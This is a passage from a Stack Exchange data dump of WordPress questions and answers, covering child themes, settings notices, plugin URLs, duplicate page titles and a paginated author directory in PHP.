  <row Id="18627" PostTypeId="2" ParentId="18623" CreationDate="2011-05-29T13:03:30.943" Score="2" ViewCount="" Body="&lt;p&gt;Suggestion: move the data from the custom table into the wp_posts and wp_postmeta tables, as a custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will save you a lot of effort, in the long run.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-05-29T13:03:30.943" CommentCount="1" />
  <row Id="18628" PostTypeId="1" AcceptedAnswerId="18637" CreationDate="2011-05-29T13:20:05.987" Score="0" ViewCount="24" Body="&lt;p&gt;I just created some settings for my theme ... not perfect, still learning ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastie.org/1988772&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/1988772&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am expecting the &quot;Settings Saved&quot; yellow box &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/f3tTa.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to do something on my part?&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-05-29T15:34:43.597" Title="Settings API no update status? (refering to the yellow bar when you save settings)" Tags="&lt;settings&gt;" AnswerCount="1" />
  <row Id="18629" PostTypeId="1" AcceptedAnswerId="18630" CreationDate="2011-05-29T13:48:34.327" Score="1" ViewCount="74" Body="&lt;p&gt;&lt;br&gt;&#xA;i updated my wordpress in 3.1 (i'm using twenty ten) and some of my code has been deleted, i'd like to understand it : is it only because i'm using the &quot;twenty theme&quot;, that the &quot;code&quot; was replaced with the new version? does a &quot;new version&quot; remove also the code if i use my own theme? and so : to have a code safe, the &quot;plugin&quot; folder is the only safe area?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be confident the next time i update my version of wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5644" LastActivityDate="2011-05-29T15:32:12.287" Title="update = remove code" Tags="&lt;theme-twenty-ten&gt;&lt;updates&gt;" AnswerCount="2" />
  <row Id="18630" PostTypeId="2" ParentId="18629" CreationDate="2011-05-29T14:06:52.180" Score="2" ViewCount="" Body="&lt;p&gt;At the moment, WordPress replaces core files when it updates. This will change in the future, but for now all core files get replaced, i.e. every file that comes with WordPress. This includes the default twenty ten theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you modify twenty ten you should save your modified theme with a different name. To do this, make a copy of the twentyten folder and rename this folder. Then, inside the renamed folder open styles.css and change the line Theme Name: Twenty Ten to Theme Name: Same Name as your Renamed Folder. Add this folder back into wp-content/themes and activate it in your admin settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When WordPress updates it leaves your own themes alone, so you won't lose the changes you made.  &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-05-29T14:06:52.180" CommentCount="1" />
  <row Id="18631" PostTypeId="1" AcceptedAnswerId="18635" CreationDate="2011-05-29T14:10:04.380" Score="1" ViewCount="25" Body="&lt;p&gt;Let's say I create a plugin with a menu page and three different submenu pages. How can I determine the URI for each one of them? For example, if I want to have a link on one of the pages to one of the other pages, how do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had this problem before, too, when I created a form to gather some information. I ultimately solved it by having the page that defined the form handle it. Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;&amp;lt;?php echo $_SERVER['REQUEST_URI']; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I let another page handle the form data, i.e. what would I put in the action parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed some people hardcode the URI one way or another, for example through &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$_SERVER['PHP_SELF'].'?page=slug&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that won't work with all URL schemes.&lt;/p&gt;&#xA;" OwnerUserId="5028" LastEditorUserId="5028" LastEditorDisplayName="" LastEditDate="2011-05-29T16:51:57.923" LastActivityDate="2011-05-29T16:51:57.923" Title="Determining URIs for plugin pages" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="18632" PostTypeId="2" ParentId="18613" CreationDate="2011-05-29T14:20:17.347" Score="0" ViewCount="" Body="&lt;p&gt;I haven't tested this in multi-site but can't see any reason that it wouldn't work. The Add from Server plugin searches for images that you manually upload to WordPress and adds them to the media manager. You can find it here: &lt;a href=&quot;http://wordpress.org/extend/plugins/add-from-server/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/add-from-server/&lt;/a&gt;&#xA;Tested on the latest WordPress. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-05-29T14:20:17.347" CommentCount="2" />
  <row Id="18633" PostTypeId="1" AcceptedAnswerId="18645" CreationDate="2011-05-29T14:51:08.407" Score="0" ViewCount="121" Body="&lt;p&gt;My &lt;a href=&quot;http://www.superlogical.net&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt; &lt;a href=&quot;http://wpshower.com/themes/sight/&quot; rel=&quot;nofollow&quot;&gt;template&lt;/a&gt;'s header.php file has the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;title&amp;gt;&amp;lt;?php wp_title ( '|', true,'right' ); ?&amp;gt;&amp;lt;/title&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does this produce the site title twice on each page?&lt;/p&gt;&#xA;" OwnerUserId="3206" LastActivityDate="2011-06-28T17:18:34.327" Title="Site Title appearing twice on live site" Tags="&lt;template&gt;&lt;title&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18634" PostTypeId="2" ParentId="18629" CreationDate="2011-05-29T15:19:20.733" Score="2" ViewCount="" Body="&lt;p&gt;I wrongly assumed that @Elpie meant to make a Child Theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore my answer now becomes that I suggest making a Child Theme of Twenty Ten to a. protect your changes for future updates and b. still have all the benefits that Twenty Ten offers now and in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do so, you will also need to duplicate the twentyten folder and give it a different name. You also need to change the top part of the Twenty Ten style.css&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In the top of your style.css you will need to tell that you still use twentyten as the parent theme. So you will need to add a line: &lt;code&gt;Template: twentyten&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also at the top, but under the initial code you should import the twentyten stylesheet. You can do that by using this line of code:&#xA;&lt;code&gt;@import url(&quot;../twentyten/style.css&quot;);&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Eventually the top of your stylesheet should look similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Theme Name: Twenty Ten Child&#xA;Description: Child theme for the Twenty Ten theme &#xA;Author: Your name here&#xA;Template: twentyten&#xA;*/&#xA;&#xA;@import url(&quot;../twentyten/style.css&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All this and more on Child Themes in the Codex: &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Child_Themes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2015" LastEditorUserId="2015" LastEditorDisplayName="" LastEditDate="2011-05-29T15:32:12.287" LastActivityDate="2011-05-29T15:32:12.287" CommentCount="5" />
  <row Id="18635" PostTypeId="2" ParentId="18631" CreationDate="2011-05-29T15:29:30.850" Score="1" ViewCount="" Body="&lt;p&gt;You can dynamically generate those URLs like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = add_query_arg( array(&#xA;    'page' =&amp;gt; 'slug', // whatever the page slug should be, either for this page or the other pages&#xA;), admin_url( 'options-general.php' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-05-29T15:29:30.850" />
  <row Id="18636" PostTypeId="1" AcceptedAnswerId="18807" CreationDate="2011-05-29T15:31:23.080" Score="2" ViewCount="86" Body="&lt;p&gt;Some time ago I discovered that dropdown menus that do have clickable links on parent nodes are confusing for the users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often they are not seeing that they can click on the parent, they just assume that the parent is just like a folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check yourself the demo from &lt;a href=&quot;http://2010dev.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;http://2010dev.wordpress.com/&lt;/a&gt; - see the second menu item, named &quot;parent page&quot;. This is clickable but it may be not so obvious for many people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this approach impose some issues with touch based devices where people may find impossible or hard to click a submenu-item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to see a solution for this problem, but not one that would require me to fully change the theme.&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2011-05-31T13:22:27.027" Title="Accesibility problems with dropdown menus in twentyten theme or others" Tags="&lt;menus&gt;&lt;theme-twenty-ten&gt;&lt;accessibility&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18637" PostTypeId="2" ParentId="18628" CreationDate="2011-05-29T15:34:43.597" Score="0" ViewCount="" Body="&lt;p&gt;Adding this beneath the title should do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php settings_errors(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WordPress does this for you automatically on the 'options' pages, but you have to do it yourself in other sections of the site.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-05-29T15:34:43.597" />
  <row Id="18638" PostTypeId="2" ParentId="18623" CreationDate="2011-05-29T15:58:01.430" Score="0" ViewCount="" Body="&lt;p&gt;Also have a look at pods.&lt;br&gt;&#xA;&lt;a href=&quot;http://podscms.org/&quot; rel=&quot;nofollow&quot;&gt;http://podscms.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-29T15:58:01.430" CommentCount="1" />
  <row Id="18639" PostTypeId="1" AcceptedAnswerId="18756" CreationDate="2011-05-29T16:02:36.117" Score="3" ViewCount="191" Body="&lt;p&gt;The title says it all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been taking WP_LIST_AUTHOR and modifying it to create more of a member directory than just a list of authors while leaving a lot of the original options intact (and I am going to add more down the line).  My first task was to build pagination into it, which I managed to do successfully (code below) [although it's not very pretty yet].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now want it to build this information into tables (probably 15 results per page, in a 3x5 grid.  Row - cell cell cell Row - cell cell cell etc).  I am not really sure on the best way to do this, or if this can even be done with the current way the code is constructed, any advice or linked resources would be greatly appreciated!  I'm really just hacking things together ;)  Also note; the site uses s2member plugin and any code will need to not mess with that functionality.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;///////////////////////&#xA;/////  SEXY TIME  /////&#xA;///////////////////////&#xA;&#xA;/** &#xA; * CUSTOM FUNCTIONS BY DUIWEL&#xA; * We are taking the regular wp_list_authors and forcing it to always display all&#xA; * the authors, as well as have pagination and a better format&#xA; *&#xA; * This is my first attempt at a Wordpress Hack such as this&#xA; * &#xA; * 5/28/2011&#xA; *&#xA; * I have left most of the original function text intact, including the comments below&#xA; *&#xA; * I used a lot of code from Crayon Violent at PHPFREAKS&#xA; * http://www.phpfreaks.com/tutorial/basic-pagination&#xA; * Most of his/her comments also remain intact&#xA; *&#xA; */&#xA;&#xA;&#xA;//ORIGINAL WP COMMENTS for wp_list_authors&#xA;/**&#xA; * List all the authors of the blog, with several options available.&#xA; *&#xA; * &amp;lt;ul&amp;gt;&#xA; * &amp;lt;li&amp;gt;optioncount (boolean) (false): Show the count in parenthesis next to the&#xA; * author's name.&amp;lt;/li&amp;gt;&#xA; * &amp;lt;li&amp;gt;exclude_admin (boolean) (true): Exclude the 'admin' user that is&#xA; * installed bydefault.&amp;lt;/li&amp;gt;&#xA; * &amp;lt;li&amp;gt;show_fullname (boolean) (false): Show their full names.&amp;lt;/li&amp;gt;&#xA; * &amp;lt;li&amp;gt;hide_empty (boolean) (true): Don't show authors without any posts.&amp;lt;/li&amp;gt;&#xA; * &amp;lt;li&amp;gt;feed (string) (''): If isn't empty, show links to author's feeds.&amp;lt;/li&amp;gt;&#xA; * &amp;lt;li&amp;gt;feed_image (string) (''): If isn't empty, use this image to link to&#xA; * feeds.&amp;lt;/li&amp;gt;&#xA; * &amp;lt;li&amp;gt;echo (boolean) (true): Set to false to return the output, instead of&#xA; * echoing.&amp;lt;/li&amp;gt;&#xA; * &amp;lt;li&amp;gt;style (string) ('list'): Whether to display list of authors in list form&#xA; * or as a string.&amp;lt;/li&amp;gt;&#xA; * &amp;lt;li&amp;gt;html (bool) (true): Whether to list the items in html form or plaintext.&#xA; * &amp;lt;/li&amp;gt;&#xA; * &amp;lt;/ul&amp;gt;&#xA; *&#xA; * @link http://codex.wordpress.org/Template_Tags/wp_list_authors&#xA; * @since 1.2.0&#xA; * @param array $args The argument array.&#xA; * @return null|string The output, if echo is set to false.&#xA; */&#xA;&#xA; //THE FUNCTION&#xA;&#xA;function duiwel_custom_list_users($args = '') {&#xA;    global $wpdb;&#xA;&#xA;&#xA;&#xA;    // HIDE_EMPTY ORIGINALLY TRUE, now FALSE&#xA;    $defaults = array(&#xA;        'orderby' =&amp;gt; 'name', 'order' =&amp;gt; 'ASC', 'number' =&amp;gt; '',&#xA;        'optioncount' =&amp;gt; false, 'exclude_admin' =&amp;gt; true,&#xA;        'show_fullname' =&amp;gt; false, 'hide_empty' =&amp;gt; false,&#xA;        'feed' =&amp;gt; 'feed', 'feed_image' =&amp;gt; '', 'feed_type' =&amp;gt; 'rss2', 'echo' =&amp;gt; true,&#xA;        'style' =&amp;gt; 'list', 'html' =&amp;gt; true&#xA;    );&#xA;&#xA;    $args = wp_parse_args( $args, $defaults );&#xA;    extract( $args, EXTR_SKIP );&#xA;&#xA;    $return = '';&#xA;&#xA;    $query_args = wp_array_slice_assoc( $args, array( 'orderby', 'order', 'number' ) );&#xA;    $query_args['fields'] = 'ids';&#xA;    $authors = get_users( $query_args );&#xA;&#xA;    // FYI This is the post count of each author, not the total count of authors&#xA;    $author_count = array();&#xA;    foreach ( (array) $wpdb-&amp;gt;get_results(&quot;SELECT DISTINCT post_author, COUNT(ID) AS count FROM $wpdb-&amp;gt;posts WHERE post_type = 'post' AND &quot; . get_private_posts_cap_sql( 'post' ) . &quot; GROUP BY post_author&quot;) as $row )&#xA;        $author_count[$row-&amp;gt;post_author] = $row-&amp;gt;count;&#xA;&#xA;        // need to count 'authors' here&#xA;        $totalusers = count($authors);&#xA;&#xA;        //////////////////////////////&#xA;        ////// PAGINATION ////////////&#xA;        //////////////////////////////&#xA;&#xA;        $numrows = $totalusers;&#xA;&#xA;        // number of rows to show per page&#xA;        $rowsperpage = 10;&#xA;        // find out total pages&#xA;        $totalpages = ceil($numrows / $rowsperpage);&#xA;&#xA;        // get the current page or set a default&#xA;        if (isset($_GET['currentpage']) &amp;amp;&amp;amp; is_numeric($_GET['currentpage'])) {&#xA;        // cast var as int&#xA;        $currentpage = (int) $_GET['currentpage'];&#xA;        } else {&#xA;        // default page num&#xA;        $currentpage = 1;&#xA;        } // end if&#xA;&#xA;&#xA;        // if current page is greater than total pages...&#xA;        if ($currentpage &amp;gt; $totalpages) {&#xA;        // set current page to last page&#xA;        $currentpage = $totalpages;&#xA;        } // end if&#xA;        // if current page is less than first page...&#xA;        if ($currentpage &amp;lt; 1) {&#xA;        // set current page to first page&#xA;        $currentpage = 1;&#xA;        } // end if&#xA;&#xA;        // the offset of the list, based on current page &#xA;        $offset = ($currentpage - 1) * $rowsperpage;&#xA;&#xA;&#xA;&#xA;        //////////////////////////////&#xA;        ////// END PAGINATION ////////&#xA;        //////////////////////////////&#xA;&#xA;&#xA;        //////////////////////////////////////////&#xA;        ////// PAGINATION TO FOLLOW ARRAY  ///////&#xA;        //////////////////////////////////////////&#xA;&#xA;&#xA;        //I need to take the SQL LIMIT function from the pagination code I found&#xA;        //and incorporate it into the arrays I'm using, cause I'm not actually&#xA;        //querying a SQL table, I'm querying an array&#xA;&#xA;        $pagination_user_table = $authors;&#xA;&#xA;        $paged_authors = array_slice( $pagination_user_table , $offset , $rowsperpage );&#xA;&#xA;        //////////////////////////////////////////&#xA;        ////// START NORMAL WP_LIST_AUTHOR  ////////&#xA;        //////////////////////////////////////////&#xA;&#xA;&#xA;    foreach ( $paged_authors as $author_id ) {&#xA;        $author = get_userdata( $author_id );&#xA;&#xA;        if ( $exclude_admin &amp;amp;&amp;amp; 'admin' == $author-&amp;gt;display_name )&#xA;            continue;&#xA;&#xA;        $posts = isset( $author_count[$author-&amp;gt;ID] ) ? $author_count[$author-&amp;gt;ID] : 0;&#xA;&#xA;        if ( !$posts &amp;amp;&amp;amp; $hide_empty )&#xA;            continue;&#xA;&#xA;        $link = '';&#xA;&#xA;        if ( $show_fullname &amp;amp;&amp;amp; $author-&amp;gt;first_name &amp;amp;&amp;amp; $author-&amp;gt;last_name )&#xA;            $name = &quot;$author-&amp;gt;first_name $author-&amp;gt;last_name&quot;;&#xA;        else&#xA;            $name = $author-&amp;gt;display_name;&#xA;&#xA;        if ( !$html ) {&#xA;            $return .= $name . ', ';&#xA;&#xA;            continue; // No need to go further to process HTML.&#xA;        }&#xA;&#xA;        if ( 'list' == $style ) {&#xA;            $return .= '&amp;lt;li&amp;gt;';&#xA;        }&#xA;&#xA;        //some extra Avatar stuff&#xA;&#xA;        $avatar = 'wavatar';&#xA;        $link = get_avatar($author-&amp;gt;user_email, '80', $avatar);&#xA;&#xA;&#xA;&#xA;        $link .= '&amp;lt;div id=directoryinfo&amp;gt;' . ' &amp;lt;a href=&quot;' . get_author_posts_url( $author-&amp;gt;ID, $author-&amp;gt;user_nicename ) . '&quot; title=&quot;' . esc_attr( sprintf(__(&quot;Posts by %s&quot;), $author-&amp;gt;display_name) ) . '&quot;&amp;gt;' . $name . '&amp;lt;/a&amp;gt;';&#xA;&#xA;        if ( !empty( $feed_image ) || !empty( $feed ) ) {&#xA;            $link .= ' ';&#xA;            if ( empty( $feed_image ) ) {&#xA;            //Line breaking for RSS formatting (testing mostly)&#xA;                $link .= '&amp;lt;br&amp;gt;(';&#xA;            }&#xA;&#xA;            $link .= '&amp;lt;a href=&quot;' . get_author_feed_link( $author-&amp;gt;ID ) . '&quot;';&#xA;&#xA;            $alt = $title = '';&#xA;            if ( !empty( $feed ) ) {&#xA;                $title = ' title=&quot;' . esc_attr( $feed ) . '&quot;';&#xA;                $alt = ' alt=&quot;' . esc_attr( $feed ) . '&quot;';&#xA;                $name = $feed;&#xA;                $link .= $title;&#xA;            }&#xA;&#xA;            $link .= '&amp;gt;';&#xA;&#xA;            if ( !empty( $feed_image ) )&#xA;                $link .= '&amp;lt;img src=&quot;' . esc_url( $feed_image ) . '&quot; style=&quot;border: none;&quot;' . $alt . $title . ' /&amp;gt;';&#xA;            else&#xA;                $link .= $name;&#xA;&#xA;            $link .= '&amp;lt;/a&amp;gt;';&#xA;&#xA;            if ( empty( $feed_image ) )&#xA;                $link .= ')';&#xA;        }&#xA;&#xA;        if ( $optioncount )&#xA;            $link .= ' ('. $posts . ')';&#xA;&#xA;        $return .= $link;&#xA;        $return .= ( 'list' == $style ) ? '&amp;lt;/li&amp;gt;' : ', ';&#xA;    }&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;    $return = rtrim($return, ', ');&#xA;&#xA;    if ( !$echo )&#xA;        return $return;&#xA;&#xA;    echo $return;&#xA;&#xA;        /////////////////////////////////////////&#xA;        ////// END WP_LIST_AUTHOR NORMALCY //////&#xA;        /////////////////////////////////////////&#xA;&#xA;    // little spacer&#xA;    echo &quot;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&quot;;&#xA;        //////////////////////////////&#xA;        ////// PAGINATION LINKS //////&#xA;        //////////////////////////////&#xA;&#xA;&#xA;&#xA;/******  build the pagination links ******/&#xA;// range of num links to show&#xA;$range = 3;&#xA;&#xA;// if not on page 1, don't show back links&#xA;if ($currentpage &amp;gt; 1) {&#xA;   // show &amp;lt;&amp;lt; link to go back to page 1&#xA;&#xA;   echo &quot; &amp;lt;a href=' &quot; , the_permalink() , &quot; ?currentpage=1'&amp;gt;&amp;lt;&amp;lt;&amp;lt;/a&amp;gt; &quot;;&#xA;&#xA;   // get previous page num&#xA;   $prevpage = $currentpage - 1;&#xA;   // show &amp;lt; link to go back to 1 page&#xA;&#xA;      echo &quot; &amp;lt;a href=' &quot; , the_permalink() , &quot; ?currentpage=$prevpage'&amp;gt;&amp;lt;&amp;lt;/a&amp;gt; &quot;;&#xA;&#xA;&#xA;&#xA;} // end if &#xA;&#xA;// loop to show links to range of pages around current page&#xA;for ($x = ($currentpage - $range); $x &amp;lt; (($currentpage + $range) + 1); $x++) {&#xA;   // if it's a valid page number...&#xA;   if (($x &amp;gt; 0) &amp;amp;&amp;amp; ($x &amp;lt;= $totalpages)) {&#xA;      // if we're on current page...&#xA;      if ($x == $currentpage) {&#xA;         // 'highlight' it but don't make a link&#xA;         echo &quot; [&amp;lt;b&amp;gt;$x&amp;lt;/b&amp;gt;] &quot;;&#xA;      // if not current page...&#xA;      } else {&#xA;         // make it a link&#xA;        echo &quot; &amp;lt;a href=' &quot; , the_permalink() , &quot; ?currentpage=$x'&amp;gt;$x&amp;lt;/a&amp;gt; &quot;;&#xA;&#xA;&#xA;      } // end else&#xA;   } // end if &#xA;} // end for&#xA;&#xA;// if not on last page, show forward and last page links        &#xA;if ($currentpage != $totalpages) {&#xA;   // get next page&#xA;   $nextpage = $currentpage + 1;&#xA;    // echo forward link for next page &#xA;&#xA;            echo &quot; &amp;lt;a href=' &quot; , the_permalink() , &quot; ?currentpage=$nextpage'&amp;gt;&amp;gt;&amp;lt;/a&amp;gt; &quot;;&#xA;&#xA;   // echo forward link for lastpage&#xA;&#xA;            echo &quot; &amp;lt;a href=' &quot; , the_permalink() , &quot; ?currentpage=$totalpages'&amp;gt;&amp;gt;&amp;gt;&amp;lt;/a&amp;gt; &quot;;&#xA;&#xA;&#xA;} // end if&#xA;/****** end build pagination links ******/&#xA;&#xA;&#xA;        //////////////////////////////////&#xA;        ////// END PAGINATION LINKS //////&#xA;        //////////////////////////////////&#xA;&#xA;&#xA;}&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;///////////////////////////&#xA;/////  END SEXY TIME  /////&#xA;///////////////////////////&#xA;&#xA;&#xA;&#xA;?&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;directorylist&quot;&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php duiwel_custom_list_users() ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #directorylist --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2011-05-30T22:15:20.977" Title="Modifying WP_LIST_AUTHOR Functions to output all users in a grid (and Paginate)" Tags="&lt;php&gt;&lt;functions&gt;&lt;pagination&gt;&lt;list-authors&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="18640" PostTypeId="2" ParentId="11972" CreationDate="2011-05-29T16:06:26.133" Score="0" ViewCount="" Body="&lt;p&gt;I have modified WP_LIST_AUTHORS to paginate. I don't know if its very sexy, and seems to require some sort of Caching plugin otherwise this particular page can start to load pretty slowly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full code of my paginated function is in this thread: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/18639/modifying-wp-list-author-functions-to-output-all-users-in-a-grid-and-paginate&quot;&gt;Modifying WP_LIST_AUTHOR Functions to output all users in a grid (and Paginate)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to look directly at the pagination code I used you can go here: &lt;a href=&quot;http://www.phpfreaks.com/tutorial/basic-pagination&quot; rel=&quot;nofollow&quot;&gt;http://www.phpfreaks.com/tutorial/basic-pagination&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditorDisplayName="" LastEditDate="2011-05-29T16:11:49.677" LastActivityDate="2011-05-29T16:11:49.677" CommentCount="1" />
  <row Id="18641" PostTypeId="2" ParentId="4368" CreationDate="2011-05-29T16:09:20.313" Score="0" ViewCount="" Body="&lt;p&gt;I wrote a solution to this by hacking together some pagination code with a modified WP_LIST_AUTHORS function.  It seems to require a Cache plugin otherwise this page can load slowly, but it does work.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code as well as further discussions on its formatting is located over in this thread: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/18639/modifying-wp-list-author-functions-to-output-all-users-in-a-grid-and-paginate&quot;&gt;Modifying WP_LIST_AUTHOR Functions to output all users in a grid (and Paginate)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope that helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS -- If you just want to look at a properly formatted SQL query with a LIMIT and OFFSET for pagination, you can go here:  &lt;a href=&quot;http://www.phpfreaks.com/tutorial/basic-pagination&quot; rel=&quot;nofollow&quot;&gt;http://www.phpfreaks.com/tutorial/basic-pagination&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2011-05-29T16:09:20.313" />
  <row Id="18642" PostTypeId="1" CreationDate="2011-05-29T16:09:30.767" Score="0" ViewCount="65" Body="&lt;p&gt;I really like the &lt;a href=&quot;http://www.deliciousdays.com/cforms-plugin/&quot; rel=&quot;nofollow&quot;&gt;cforms&lt;/a&gt; plugin for wordpress. It's very powerful, yet easy to use.&#xA;But today I ran into a dead-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I need a form to let users submit their first- and last name, then upload two files, which I need to rename to &quot;&lt;strong&gt;A_Firstname.Lastname.ext&lt;/strong&gt;&quot; and &quot;&lt;strong&gt;B_Firstname.Lastname.ext&lt;/strong&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default cforms just leaves the file name as it was by the uploader.&#xA;If anyone is familiar with the cforms plugin then any guidelines would be much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5795" LastActivityDate="2011-05-29T16:09:30.767" Title="Custom file name in cforms upload" Tags="&lt;forms&gt;&lt;form&gt;&lt;plugin-cforms&gt;" CommentCount="1" />
  <row Id="18644" PostTypeId="1" CreationDate="2011-05-29T16:30:24.147" Score="2" ViewCount="70" Body="&lt;p&gt;Id' like to geotag all my posts and display them on a single google map.&#xA;is this possible? do you know a plugin that does this?&#xA;thanks!&lt;/p&gt;&#xA;" OwnerUserId="5796" LastActivityDate="2011-08-21T17:33:03.193" Title="Is there a way to display all my posts on a single Google Map?" Tags="&lt;plugin-recommendation&gt;&lt;geo-data&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" />
  <row Id="18645" PostTypeId="2" ParentId="18633" CreationDate="2011-05-29T16:49:56.127" Score="0" ViewCount="" Body="&lt;p&gt;You're using two different SEO plugins: Yoast and All in One. Not a good idea. One of them is doubling up the title tag on single post pages.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-05-29T16:49:56.127" CommentCount="2" />
  <row Id="18647" PostTypeId="1" CreationDate="2011-05-29T17:04:20.633" Score="0" ViewCount="26" Body="&lt;p&gt;Anyone know how I could take the below script that was answered for retrieving the latest permalink for a Custom Post Type and flip it to get the oldest post instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/12143/custom-post-type-get-most-recent-permalink&quot;&gt;This is the link for retrieving custom post type latest post&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5016" LastActivityDate="2011-05-29T17:21:52.690" Title="How do I get Link for Oldest Custom Post Type (dynamically)" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="18648" PostTypeId="2" ParentId="18647" CreationDate="2011-05-29T17:21:52.690" Score="1" ViewCount="" Body="&lt;p&gt;Simply change order parameter from &lt;code&gt;DESC&lt;/code&gt; to &lt;code&gt;ASC&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function Get_First_permalink(){&#xA;    global $post;&#xA;    $tmp_post = $post;&#xA;    $args = array(&#xA;        'numberposts'     =&amp;gt; 1,&#xA;        'offset'          =&amp;gt; 0,&#xA;        'orderby'         =&amp;gt; 'post_date',&#xA;        'order'           =&amp;gt; 'ASC',&#xA;        'post_type'       =&amp;gt; 'POST_TYPE_NAME',&#xA;        'post_status'     =&amp;gt; 'publish' );&#xA;    $myposts = get_posts( $args );&#xA;    setup_postdata($myposts[0]);&#xA;    $permalink = get_permalink($post-&amp;gt;ID);&#xA;    $post = $tmp_post;&#xA;    return $permalink;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so once you paste that function in your theme's functions.php  and you have changed  